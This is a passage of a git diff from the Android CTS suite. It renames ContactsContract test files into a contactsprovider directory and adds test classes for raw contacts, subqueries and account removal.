rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
new file mode 100644
index 0000000..fa0572c
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import android.accounts.Account;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.provider.cts.contacts.account.StaticAccountAuthenticator;
+import android.test.AndroidTestCase;
+import android.test.MoreAsserts;
+
+public class ContactsContract_RawContactsTest extends AndroidTestCase {
+ private ContentResolver mResolver;
+ private ContactsContract_TestDataBuilder mBuilder;
+
+ private static final String[] RAW_CONTACTS_PROJECTION = new String[]{
+ RawContacts._ID,
+ RawContacts.CONTACT_ID,
+ RawContacts.DELETED,
+ RawContacts.DISPLAY_NAME_PRIMARY,
+ RawContacts.DISPLAY_NAME_ALTERNATIVE,
+ RawContacts.DISPLAY_NAME_SOURCE,
+ RawContacts.PHONETIC_NAME,
+ RawContacts.PHONETIC_NAME_STYLE,
+ RawContacts.SORT_KEY_PRIMARY,
+ RawContacts.SORT_KEY_ALTERNATIVE,
+ RawContacts.TIMES_CONTACTED,
+ RawContacts.LAST_TIME_CONTACTED,
+ RawContacts.CUSTOM_RINGTONE,
+ RawContacts.SEND_TO_VOICEMAIL,
+ RawContacts.STARRED,
+ RawContacts.PINNED,
+ RawContacts.AGGREGATION_MODE,
+ RawContacts.RAW_CONTACT_IS_USER_PROFILE,
+ RawContacts.ACCOUNT_NAME,
+ RawContacts.ACCOUNT_TYPE,
+ RawContacts.DATA_SET,
+ RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
+ RawContacts.DIRTY,
+ RawContacts.SOURCE_ID,
+ RawContacts.BACKUP_ID,
+ RawContacts.VERSION,
+ RawContacts.SYNC1,
+ RawContacts.SYNC2,
+ RawContacts.SYNC3,
+ RawContacts.SYNC4
+ };
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mResolver = getContext().getContentResolver();
+ ContentProviderClient provider =
+ mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+ mBuilder = new ContactsContract_TestDataBuilder(provider);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ mBuilder.cleanup();
+ }
+
+ public void testGetLookupUriBySourceId() throws Exception {
+ TestRawContact rawContact = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, "test_type")
+ .with(RawContacts.ACCOUNT_NAME, "test_name")
+ .with(RawContacts.SOURCE_ID, "source_id")
+ .insert();
+
+ // TODO remove this. The method under test is currently broken: it will not
+ // work without at least one data row in the raw contact.
+ rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+ .with(StructuredName.DISPLAY_NAME, "test name")
+ .insert();
+
+ Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
+ assertNotNull("Could not produce a lookup URI", lookupUri);
+
+ TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
+ assertEquals("Lookup URI matched the wrong contact",
+ lookupContact.getId(), rawContact.load().getContactId());
+ }
+
+ public void testGetLookupUriByDisplayName() throws Exception {
+ TestRawContact rawContact = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, "test_type")
+ .with(RawContacts.ACCOUNT_NAME, "test_name")
+ .insert();
+ rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+ .with(StructuredName.DISPLAY_NAME, "test name")
+ .insert();
+
+ Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
+ assertNotNull("Could not produce a lookup URI", lookupUri);
+
+ TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
+ assertEquals("Lookup URI matched the wrong contact",
+ lookupContact.getId(), rawContact.load().getContactId());
+ }
+
+ public void testGetDeviceAccountNameAndType_haveSameNullness() {
+ String name = RawContacts.getLocalAccountName(mContext);
+ String type = RawContacts.getLocalAccountType(mContext);
+
+ assertTrue("Device account name and type must both be null or both be non-null",
+ (name == null && type == null) || (name != null && type != null));
+ }
+
+ public void testRawContactDelete_setsDeleteFlag() {
+ long rawContactid = RawContactUtil.insertRawContact(mResolver,
+ StaticAccountAuthenticator.ACCOUNT_1);
+
+ assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+ RawContactUtil.delete(mResolver, rawContactid, false);
+
+ String[] projection = new String[]{
+ ContactsContract.RawContacts.CONTACT_ID,
+ ContactsContract.RawContacts.DELETED
+ };
+ String[] result = RawContactUtil.queryByRawContactId(mResolver, rawContactid,
+ projection);
+
+ // Contact id should be null
+ assertNull(result[0]);
+ // Record should be marked deleted.
+ assertEquals("1", result[1]);
+ }
+
+ public void testRawContactDelete_localDeleteRemovesRecord() {
+ String name = RawContacts.getLocalAccountName(mContext);
+ String type = RawContacts.getLocalAccountType(mContext);
+ Account account = name != null && type != null ? new Account(name, type) : null;
+
+ long rawContactid = RawContactUtil.insertRawContact(mResolver, account);
+ assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+ // Local raw contacts should be deleted immediately even if isSyncAdapter=false
+ RawContactUtil.delete(mResolver, rawContactid, false);
+
+ assertFalse(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+ // Nothing to clean up
+ }
+
+ public void testRawContactDelete_removesRecord() {
+ long rawContactid = RawContactUtil.insertRawContact(mResolver,
+ StaticAccountAuthenticator.ACCOUNT_1);
+ assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+ RawContactUtil.delete(mResolver, rawContactid, true);
+
+ assertFalse(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+ // already clean
+ }
+
+ // This implicitly tests the Contact create case.
+ public void testRawContactCreate_updatesContactUpdatedTimestamp() {
+ long startTime = System.currentTimeMillis();
+
+ DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+ long lastUpdated = getContactLastUpdatedTimestampByRawContactId(mResolver,
+ ids.mRawContactId);
+
+ assertTrue(lastUpdated > startTime);
+
+ // Clean up
+ RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+ }
+
+ /**
+ * The local account is the default if a raw contact insert does not specify a value for
+ * {@link RawContacts#ACCOUNT_NAME} and {@link RawContacts#ACCOUNT_TYPE}.
+ *
+ * <p>The values returned by {@link RawContacts#getLocalAccountName()} and
+ * {@link RawContacts#getLocalAccountType()} can be customized by overriding the
+ * config_rawContactsLocalAccountName and config_rawContactsLocalAccountType resource strings
+ * defined in platform/frameworks/base/core/res/res/values/config.xml.
+ */
+ public void testRawContactCreate_noAccountUsesLocalAccount() {
+ // Save a raw contact without an account.
+ long rawContactid = RawContactUtil.insertRawContact(mResolver, null);
+
+ String[] row = RawContactUtil.queryByRawContactId(mResolver, rawContactid,
+ new String[] {
+ RawContacts.ACCOUNT_NAME, RawContacts.ACCOUNT_TYPE
+ });
+
+ // When no account is specified the contact is created in the local account.
+ assertEquals(RawContacts.getLocalAccountName(mContext), row[0]);
+ assertEquals(RawContacts.getLocalAccountType(mContext), row[1]);
+
+ // Clean up
+ RawContactUtil.delete(mResolver, rawContactid, true);
+ }
+
+ public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
+ DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+ long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+ ContentValues values = new ContentValues();
+ values.put(ContactsContract.RawContacts.STARRED, 1);
+ RawContactUtil.update(mResolver, ids.mRawContactId, values);
+
+ long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+ assertTrue(newTime > baseTime);
+
+ // Clean up
+ RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+ }
+
+ public void testRawContactPsuedoDelete_hasDeleteLogForContact() {
+ DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+ long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+ RawContactUtil.delete(mResolver, ids.mRawContactId, false);
+
+ DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
+
+ // clean up
+ RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+ }
+
+ public void testRawContactDelete_hasDeleteLogForContact() {
+ DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+ long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+ RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+
+ DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
+
+ // already clean
+ }
+
+ private long getContactLastUpdatedTimestampByRawContactId(ContentResolver resolver,
+ long rawContactId) {
+ long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
+ MoreAsserts.assertNotEqual(CommonDatabaseUtils.NOT_FOUND, contactId);
+
+ return ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
+ }
+
+ public void testProjection() throws Exception {
+ TestRawContact rawContact = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, "test_type")
+ .with(RawContacts.ACCOUNT_NAME, "test_name")
+ .insert();
+ rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+ .with(StructuredName.DISPLAY_NAME, "test name")
+ .insert();
+
+ DatabaseAsserts.checkProjection(mResolver, RawContacts.CONTENT_URI,
+ RAW_CONTACTS_PROJECTION,
+ new long[]{rawContact.getId()}
+ );
+ }
+
+ public void testInsertUsageStat() throws Exception {
+ // Note we no longer support contact affinity as of Q, so times_contacted and
+ // last_time_contacted are always 0, and "frequent" is always empty.
+
+ final long now = System.currentTimeMillis();
+ {
+ TestRawContact rawContact = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, "test_type")
+ .with(RawContacts.ACCOUNT_NAME, "test_name")
+ .with(RawContacts.TIMES_CONTACTED, 12345)
+ .with(RawContacts.LAST_TIME_CONTACTED, now)
+ .insert();
+
+ rawContact.load();
+ assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+ assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+ }
+
+ {
+ TestRawContact rawContact = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, "test_type")
+ .with(RawContacts.ACCOUNT_NAME, "test_name")
+ .with(RawContacts.TIMES_CONTACTED, 5)
+ .insert();
+
+ rawContact.load();
+ assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+ assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+ }
+ {
+ TestRawContact rawContact = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, "test_type")
+ .with(RawContacts.ACCOUNT_NAME, "test_name")
+ .with(RawContacts.LAST_TIME_CONTACTED, now)
+ .insert();
+
+ rawContact.load();
+ assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+ assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+ }
+ }
+
+ public void testUpdateUsageStat() throws Exception {
+ ContentValues values = new ContentValues();
+
+ final long now = System.currentTimeMillis();
+ TestRawContact rawContact = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, "test_type")
+ .with(RawContacts.ACCOUNT_NAME, "test_name")
+ .with(RawContacts.TIMES_CONTACTED, 12345)
+ .with(RawContacts.LAST_TIME_CONTACTED, now)
+ .insert();
+
+ rawContact.load();
+ assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+ assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+
+ values.clear();
+ values.put(RawContacts.TIMES_CONTACTED, 99999);
+ RawContactUtil.update(mResolver, rawContact.getId(), values);
+
+ rawContact.load();
+ assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+ assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+
+ values.clear();
+ values.put(RawContacts.LAST_TIME_CONTACTED, now + 86400);
+ RawContactUtil.update(mResolver, rawContact.getId(), values);
+
+ rawContact.load();
+ assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+ assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_Subquery.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_Subquery.java
new file mode 100644
index 0000000..f0a7525
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_Subquery.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_Subquery extends AndroidTestCase {
+ private ContentResolver mResolver;
+ private ContactsContract_TestDataBuilder mBuilder;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mResolver = getContext().getContentResolver();
+ ContentProviderClient provider =
+ mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+ mBuilder = new ContactsContract_TestDataBuilder(provider);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ mBuilder.cleanup();
+ }
+
+ public void testProviderStatus_addedContacts() throws Exception {
+ TestRawContact rawContact1 = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, "test_account")
+ .with(RawContacts.ACCOUNT_NAME, "test_name")
+ .insert();
+
+ // Get the total row count.
+ final int allCount;
+ try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null, null, null, null)) {
+ allCount = cursor.getCount();
+ }
+
+ // Make sure CP2 gives the same result with an always-true subquery.
+ try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+ "exists(select 1)", null, null)) {
+ assertEquals(allCount, cursor.getCount());
+ }
+
+ // Make sure CP2 returns no rows with an always-false subquery.
+ try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+ "not exists(select 1)", null, null)) {
+ assertEquals(0, cursor.getCount());
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
new file mode 100755
index 0000000..ceaee73
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
@@ -0,0 +1,274 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.content.ContentResolver;
+import android.os.SystemClock;
+import android.provider.ContactsContract;
+import android.provider.cts.contacts.DatabaseAsserts.ContactIdPair;
+import android.provider.cts.contacts.account.StaticAccountAuthenticator;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.MediumTest;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+@MediumTest
+public class ContactsProvider2_AccountRemovalTest extends AndroidTestCase {
+
+ private static long ASYNC_TIMEOUT_LIMIT_MS = 1000 * 60 * 1; // 3 minutes
+ private static long SLEEP_BETWEEN_POLL_MS = 1000 * 10; // 10 seconds
+
+ private static int NOT_MERGED = -1;
+
+ // Not re-using StaticAcountAuthenticator.ACCOUNT_1 because this test may break
+ // other tests running when the account is removed. No other tests should use the following
+ // accounts.
+ private static final Account ACCT_1 = new Account("cp removal acct 1",
+ StaticAccountAuthenticator.TYPE);
+ private static final Account ACCT_2 = new Account("cp removal acct 2",
+ StaticAccountAuthenticator.TYPE);
+
+ private ContentResolver mResolver;
+ private AccountManager mAccountManager;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mResolver = getContext().getContentResolver();
+ mAccountManager = AccountManager.get(getContext());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ public void testAccountRemoval_deletesContacts() {
+ mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+ mAccountManager.addAccountExplicitly(ACCT_2, null, null);
+ ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
+ ArrayList<ContactIdPair> acc2Ids = createContacts(ACCT_2, 15);
+
+ mAccountManager.removeAccount(ACCT_2, null, null);
+ assertContactsDeletedEventually(System.currentTimeMillis(), acc2Ids);
+
+ mAccountManager.removeAccount(ACCT_1, null, null);
+ assertContactsDeletedEventually(System.currentTimeMillis(), acc1Ids);
+ }
+
+ public void testAccountRemoval_hasDeleteLogsForContacts() {
+ mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+ mAccountManager.addAccountExplicitly(ACCT_2, null, null);
+ ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
+ ArrayList<ContactIdPair> acc2Ids = createContacts(ACCT_2, 15);
+
+ long start = System.currentTimeMillis();
+ mAccountManager.removeAccount(ACCT_2, null, null);
+ assertContactsInDeleteLogEventually(start, acc2Ids);
+
+ start = System.currentTimeMillis();
+ mAccountManager.removeAccount(ACCT_1, null, null);
+ assertContactsInDeleteLogEventually(start, acc1Ids);
+ }
+
+ /**
+ * Contact has merged raw contacts from a single account. Contact should be deleted upon
+ * account removal.
+ */
+ public void testAccountRemovalWithMergedContact_deletesContacts() {
+ mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+ List<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_1);
+ mAccountManager.removeAccount(ACCT_1, null, null);
+ assertContactsDeletedEventually(System.currentTimeMillis(), idList);
+ }
+
+ /**
+ * Contacts saved to the local account should not be removed when accounts change.
+ *
+ * <p>The local account is a special case that is not added to
+ * {@link AccountManager}. Normally raw contacts with an
+ * {@link android.provider.ContactsContract.RawContacts#ACCOUNT_NAME} and
+ * {@link android.provider.ContactsContract.RawContacts#ACCOUNT_TYPE} that do not correspond
+ * to an added account will be removed but this should not be done for the local account.
+ */
+ public void testAccountRemoval_doesNotDeleteLocalAccountContacts() {
+ mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+ ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
+
+ String name = ContactsContract.RawContacts.getLocalAccountName(mContext);
+ String type = ContactsContract.RawContacts.getLocalAccountType(mContext);
+ Account deviceAccount = name != null && type != null ? new Account(name, type) : null;
+ long deviceRawContactId = RawContactUtil
+ .createRawContactWithAutoGeneratedName(mResolver, deviceAccount);
+
+ mAccountManager.removeAccount(ACCT_1, null, null);
+
+ // Wait for deletion of the contacts in the removed account to finish before verifying
+ // the existence of the device contacts
+ assertContactsDeletedEventually(System.currentTimeMillis(), acc1Ids);
+
+ assertTrue(RawContactUtil.rawContactExistsById(mResolver, deviceRawContactId));
+ }
+
+ /**
+ * Contact has merged raw contacts from different accounts. Contact should not be deleted when
+ * one account is removed. But contact should have last updated timestamp updated.
+ */
+ public void testAccountRemovalWithMergedContact_doesNotDeleteContactAndTimestampUpdated() {
+ mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+ mAccountManager.addAccountExplicitly(ACCT_2, null, null);
+ List<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_2);
+ long contactId = idList.get(0).mContactId;
+
+ long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
+ long start = System.currentTimeMillis();
+ mAccountManager.removeAccount(ACCT_1, null, null);
+
+ while (ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId) == baseTime) {
+ assertWithinTimeoutLimit(start,
+ "Contact " + contactId + " last updated timestamp has not been updated.");
+ SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
+ }
+ mAccountManager.removeAccount(ACCT_2, null, null);
+ }
+
+ public void testAccountRemovalWithMergedContact_hasDeleteLogsForContacts() {
+ mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+ List<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_1);
+ long start = System.currentTimeMillis();
+ mAccountManager.removeAccount(ACCT_1, null, null);
+ assertContactsInDeleteLogEventually(start, idList);
+ }
+
+ private List<ContactIdPair> createAndAssertMergedContact(Account acct, Account acct2) {
+ ContactIdPair ids1 = DatabaseAsserts.assertAndCreateContactWithName(mResolver, acct,
+ "merge me");
+ DataUtil.insertPhoneNumber(mResolver, ids1.mRawContactId, "555-5555");
+
+ ContactIdPair ids2 = DatabaseAsserts.assertAndCreateContactWithName(mResolver, acct2,
+ "merge me");
+ DataUtil.insertPhoneNumber(mResolver, ids2.mRawContactId, "555-5555");
+
+ // Check merge before continuing. Merge process is async.
+ long mergedContactId = assertMerged(System.currentTimeMillis(), ids1.mRawContactId,
+ ids2.mRawContactId);
+
+ // Update the contact id to the newly merged contact id.
+ ids1.mContactId = mergedContactId;
+ ids2.mContactId = mergedContactId;
+
+ return Arrays.asList(ids1, ids2);
+ }
+
+ private long assertMerged(long start, long rawContactId, long rawContactId2) {
+ long contactId = NOT_MERGED;
+ while (contactId == NOT_MERGED) {
+ assertWithinTimeoutLimit(start,
+ "Raw contact " + rawContactId + " and " + rawContactId2 + " are not merged.");
+
+ SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
+ contactId = checkMerged(rawContactId, rawContactId2);
+ }
+ return contactId;
+ }
+
+ private long checkMerged(long rawContactId, long rawContactId2) {
+ long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
+ long contactId2 = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId2);
+ if (contactId == contactId2) {
+ return contactId;
+ }
+ return NOT_MERGED;
+ }
+
+ private void assertContactsInDeleteLogEventually(long start, List<ContactIdPair> idList) {
+ // Can not use newArrayList() because the version that accepts size is missing.
+ ArrayList<ContactIdPair> remaining = new ArrayList<ContactIdPair>(idList.size());
+ remaining.addAll(idList);
+ while (!remaining.isEmpty()) {
+ // Account cleanup is asynchronous, wait a bit before checking.
+ SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
+ assertWithinTimeoutLimit(start, "Contacts " + Arrays.toString(remaining.toArray()) +
+ " are not in delete log after account removal.");
+
+ // Need a second list to remove since we can't remove from the list while iterating.
+ ArrayList<ContactIdPair> toBeRemoved = new ArrayList<>();
+ for (ContactIdPair ids : remaining) {
+ long deletedTime = DeletedContactUtil.queryDeletedTimestampForContactId(mResolver,
+ ids.mContactId);
+ if (deletedTime != CommonDatabaseUtils.NOT_FOUND) {
+ toBeRemoved.add(ids);
+ assertTrue("Deleted contact was found in delete log but insert time is before"
+ + " start time", deletedTime > start);
+ }
+ }
+ remaining.removeAll(toBeRemoved);
+ }
+
+ // All contacts in delete log. Pass.
